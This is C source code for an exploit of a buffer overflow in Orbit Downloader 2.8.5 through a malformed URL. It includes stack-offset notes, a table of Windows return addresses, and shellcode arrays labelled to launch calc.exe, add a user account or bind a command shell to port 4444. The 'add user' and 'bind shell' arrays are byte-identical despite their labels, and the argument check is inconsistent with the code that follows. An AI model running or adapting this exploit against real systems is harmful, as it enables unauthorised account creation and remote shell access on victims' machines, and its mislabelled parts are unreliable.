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/*0day orbit_expl.c*/
/*Orbit Downloader V2.8.5 Malformed URL Buffer Overflow Exploit*/
/*Bug found by fl0 fl0w ,exploit programmed by fl0 fl0w*/
/*Click NEW and copy paste each line into the URL field.
Important copy paste one line at the time cause it wouln't allow you to copy more than 100 caracters at
once,so be patient.
***************************SPRAY THE STACK*****************************************************************
*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *
*CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC *
*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB *
*DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD *
*FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF *
*LVVBXUUXXGGGMMMMGGTGGJJJJJJGYGGEEEEEEGRGGGGGGGGGOGGGGGGGGGLGGGGGGGGGZGGGGGGGGGAGGGGGGGGGSGGGGGGGGGCC *
* 10 20 30 40 50 60 70 80 90 100 *
*TTTTXAAXTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT *
* |EIP| = 504 bytes offset *
* *
*URL STRUCTURE *
* http://www. + [604 * NOP(0X90)] + [NEW EIP(JMP ESP)] +[SHELLCODE] + [0X00(1 * NULL BYTE)] *
***********************************************************************************************************
EAX 00000001
ECX 46464646 ->overwriten
EDX 7C90E4F4 ntdll.KiFastSystemCallRet
EBX 00BD3AD0
ESP 0140F574 ASCII "XGGGMMMMGGTGGJJJJJJGYGGEEEEEEGRGGGGGGGGGOGGGGGGGGGLGGGGGGGGGZGGGGGGGGGAGGGGGGGGGSGGGGGGGGGCC:80"
EBP 00BD3AF0
ESI 00BD4020
EDI 00CC4360 download.00CC4360
EIP 58555558 ->overwriten
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#define SIZE 10000
#define OFFSET 504
void file (char * , char *);
void write (char *, int ,char *);
void print ();
void usage (char *);
void target ();
/*tnx Metasploit for Shellcodes*/
//LAUNCH CALC.EXE
char shellcode_1[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63"
"\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32"
"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38"
"\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e"
"\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62"
"\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74"
"\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c"
"\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39"
"\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b"
"\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64"
"\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37"
"\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b"
"\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b"
"\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47"
"\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f"
"\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61"
"\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f"
"\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55"
"\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42"
"\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57"
"\x70\x63";
//ADD USER
char shellcode_2[ ]=
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x50"
"\x8a\xfa\x90\x83\xeb\xfc\xe2\xf4\xac\xe0\x11\xdd\xb8\x73\x05\x6f"
"\xaf\xea\x71\xfc\x74\xae\x71\xd5\x6c\x01\x86\x95\x28\x8b\x15\x1b"
"\x1f\x92\x71\xcf\x70\x8b\x11\xd9\xdb\xbe\x71\x91\xbe\xbb\x3a\x09"
"\xfc\x0e\x3a\xe4\x57\x4b\x30\x9d\x51\x48\x11\x64\x6b\xde\xde\xb8"
"\x25\x6f\x71\xcf\x74\x8b\x11\xf6\xdb\x86\xb1\x1b\x0f\x96\xfb\x7b"
"\x53\xa6\x71\x19\x3c\xae\xe6\xf1\x93\xbb\x21\xf4\xdb\xc9\xca\x1b"
"\x10\x86\x71\xe0\x4c\x27\x71\xd0\x58\xd4\x92\x1e\x1e\x84\x16\xc0"
"\xaf\x5c\x9c\xc3\x36\xe2\xc9\xa2\x38\xfd\x89\xa2\x0f\xde\x05\x40"
"\x38\x41\x17\x6c\x6b\xda\x05\x46\x0f\x03\x1f\xf6\xd1\x67\xf2\x92"
"\x05\xe0\xf8\x6f\x80\xe2\x23\x99\xa5\x27\xad\x6f\x86\xd9\xa9\xc3"
"\x03\xd9\xb9\xc3\x13\xd9\x05\x40\x36\xe2\xeb\xcc\x36\xd9\x73\x71"
"\xc5\xe2\x5e\x8a\x20\x4d\xad\x6f\x86\xe0\xea\xc1\x05\x75\x2a\xf8"
"\xf4\x27\xd4\x79\x07\x75\x2c\xc3\x05\x75\x2a\xf8\xb5\xc3\x7c\xd9"
"\x07\x75\x2c\xc0\x04\xde\xaf\x6f\x80\x19\x92\x77\x29\x4c\x83\xc7"
"\xaf\x5c\xaf\x6f\x80\xec\x90\xf4\x36\xe2\x99\xfd\xd9\x6f\x90\xc0"
"\x09\xa3\x36\x19\xb7\xe0\xbe\x19\xb2\xbb\x3a\x63\xfa\x74\xb8\xbd"
"\xae\xc8\xd6\x03\xdd\xf0\xc2\x3b\xfb\x21\x92\xe2\xae\x39\xec\x6f"
"\x25\xce\x05\x46\x0b\xdd\xa8\xc1\x01\xdb\x90\x91\x01\xdb\xaf\xc1"
"\xaf\x5a\x92\x3d\x89\x8f\x34\xc3\xaf\x5c\x90\x6f\xaf\xbd\x05\x40"
"\xdb\xdd\x06\x13\x94\xee\x05\x46\x02\x75\x2a\xf8\x2e\x52\x18\xe3"
"\x03\x75\x2c\x6f\x80\x8a\xfa\x90";
//REVERSE CMD SHELL ->BIND PORT
char shellcode_3[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x50"
"\x8a\xfa\x90\x83\xeb\xfc\xe2\xf4\xac\xe0\x11\xdd\xb8\x73\x05\x6f"
"\xaf\xea\x71\xfc\x74\xae\x71\xd5\x6c\x01\x86\x95\x28\x8b\x15\x1b"
"\x1f\x92\x71\xcf\x70\x8b\x11\xd9\xdb\xbe\x71\x91\xbe\xbb\x3a\x09"
"\xfc\x0e\x3a\xe4\x57\x4b\x30\x9d\x51\x48\x11\x64\x6b\xde\xde\xb8"
"\x25\x6f\x71\xcf\x74\x8b\x11\xf6\xdb\x86\xb1\x1b\x0f\x96\xfb\x7b"
"\x53\xa6\x71\x19\x3c\xae\xe6\xf1\x93\xbb\x21\xf4\xdb\xc9\xca\x1b"
"\x10\x86\x71\xe0\x4c\x27\x71\xd0\x58\xd4\x92\x1e\x1e\x84\x16\xc0"
"\xaf\x5c\x9c\xc3\x36\xe2\xc9\xa2\x38\xfd\x89\xa2\x0f\xde\x05\x40"
"\x38\x41\x17\x6c\x6b\xda\x05\x46\x0f\x03\x1f\xf6\xd1\x67\xf2\x92"
"\x05\xe0\xf8\x6f\x80\xe2\x23\x99\xa5\x27\xad\x6f\x86\xd9\xa9\xc3"
"\x03\xd9\xb9\xc3\x13\xd9\x05\x40\x36\xe2\xeb\xcc\x36\xd9\x73\x71"
"\xc5\xe2\x5e\x8a\x20\x4d\xad\x6f\x86\xe0\xea\xc1\x05\x75\x2a\xf8"
"\xf4\x27\xd4\x79\x07\x75\x2c\xc3\x05\x75\x2a\xf8\xb5\xc3\x7c\xd9"
"\x07\x75\x2c\xc0\x04\xde\xaf\x6f\x80\x19\x92\x77\x29\x4c\x83\xc7"
"\xaf\x5c\xaf\x6f\x80\xec\x90\xf4\x36\xe2\x99\xfd\xd9\x6f\x90\xc0"
"\x09\xa3\x36\x19\xb7\xe0\xbe\x19\xb2\xbb\x3a\x63\xfa\x74\xb8\xbd"
"\xae\xc8\xd6\x03\xdd\xf0\xc2\x3b\xfb\x21\x92\xe2\xae\x39\xec\x6f"
"\x25\xce\x05\x46\x0b\xdd\xa8\xc1\x01\xdb\x90\x91\x01\xdb\xaf\xc1"
"\xaf\x5a\x92\x3d\x89\x8f\x34\xc3\xaf\x5c\x90\x6f\xaf\xbd\x05\x40"
"\xdb\xdd\x06\x13\x94\xee\x05\x46\x02\x75\x2a\xf8\x2e\x52\x18\xe3"
"\x03\x75\x2c\x6f\x80\x8a\xfa\x90";
struct {
char *OS;
unsigned int EIP;
}
Retcodes [] = { { "Microsoft Windows Pro sp3 English:", 0x7C8369F0 },/*call esp */
{ "Microsoft Windows Pro sp3 English:", 0x7C86467B }, /*jmp esp */
{ "\t\t\t UNIVERSAL_1:", 0x1008E153 },
{ "\t\t\t UNIVERSAL_2:", 0x219FB9B },
{ "Windows 2000 5.0.1.0 SP1 (IA32) English:", 0x69952208 }, /*jmp esp*/
{ "sss", 0x7C868667} ,
}, t;
int main(int argc, char *argv[])
{
int X, shell ;
char *L, *Z;
char *actbuff;
actbuff = (char *)malloc(SIZE);
if (argc < 3) {
system("cls");
printf("***********************************************************************\n");
print ();
usage (argv[0]);
Sleep(1000);
printf("\n\n");
printf("\t\t\t\tTargets\n");
target();
printf("************************************************************************\n");
exit (0);
}
L = argv[0];
Z = argv[1];
shell = atoi(argv[2]);
write (actbuff, shell, Z);
file (argv[3], actbuff);
print();
printf("Loading ...");
Sleep(3000);
printf ("File build succesfully\n");
return 0;
}
void target()
{
int i;
for (i = 0; i < sizeof(Retcodes)/sizeof(t); i++)
printf("> %d %s <0x%.8x> \n", i, Retcodes[i].OS, Retcodes[i].EIP);
}
void file (char *filename, char *buff)
{
FILE *f;
if ((f = fopen(filename, "wb")) == NULL) {
printf("Error writing file\n");
exit(0);
}
fwrite (buff, 1 , strlen(buff), f);
free (buff);
fclose (f);
}
void write (char *buffer, int shellc_type, char *Y)
{
unsigned int offset = 0;
unsigned int RET = Retcodes[atoi(Y)].EIP;
memset (buffer ,0x90, SIZE);
offset = OFFSET;
memcpy (buffer + offset, &RET, 4); offset += 4;
switch (shellc_type) {
case 1:
memcpy (buffer + offset ,shellcode_1, strlen(shellcode_1)); offset += strlen(shellcode_1);
memset (buffer + offset, 0x00, 1);
break;
case 2:
memcpy (buffer + offset ,shellcode_2, strlen(shellcode_2)); offset += strlen(shellcode_2);
memset (buffer + offset, 0x00, 1);
break;
case 3:
memcpy (buffer + offset ,shellcode_3, strlen(shellcode_3)); offset += strlen(shellcode_3);
memset (buffer + offset, 0x00, 1);
break;
}
}
void usage(char *K)
{
printf ("Usage is: %s [target] [shell_type] [filename].txt\n", K);
fputs (
"\t\tRetaddress for your version of Windows\n"
"\t\tShell_type is the type of shellcode you want to run\n"
"\t\t\t *Press 1 To Run CALC.EXE\n"
"\t\t\t *Press 2 To Add User\n"
"\t\t\t *Press 3 To Bind Shell to Port 4444\n"
"\t\tExample\n"
"\t\t\torbit_expl.exe 0 3 file.txt\n"
,stdout);
}
void print()
{
fputs(
"\t\tOrbit Downloader V2.8.5 Malformed URL Buffer Overflow Exploit\n"
"\t\tby fl0 fl0w\n"
"\t\tContact: flo_flow_supremacy@yahoo.com\n"
"\n", stdout);
}
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